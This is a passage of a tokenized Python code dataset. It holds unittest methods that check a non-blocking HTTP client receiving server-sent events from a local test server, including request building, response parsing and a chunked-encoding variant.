"True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "to", " ", "SSE", " ", "server", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.0", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Past", "e", "WS", "GI", "Server", "/", "0.", "5", " ", "Pyth", "on", "/", "2.7", ".9", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "21", ":", "3", "5", ":", "25", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Connect", "ion", ":", " ", "close", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "method_", "=_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "retr", "y", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "0", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "1", "\\\\", "ndata", ":", " ", "1", "\\\\", "ndata", ":", " ", "2", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "2", "\\\\", "ndata", ":", " ", "3", "\\\\", "ndata", ":", " ", "4", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "3", "\\\\", "ndata", ":", " ", "5", "\\\\", "ndata", ":", " ", "6", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "4", "\\\\", "ndata", ":", " ", "7", "\\\\", "ndata", ":", " ", "8", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "int_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", ">=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "0", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "1", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "1", "\\\\", "n2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "2", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "3", "\\\\", "n4", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Chunk", "ed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "to", " ", "server", " ", "Fan", "cy", " ", "SSE", " ", "with", " ", "chunked", " ", "transfer", " ", "encoding", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Chunk", "ed_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", 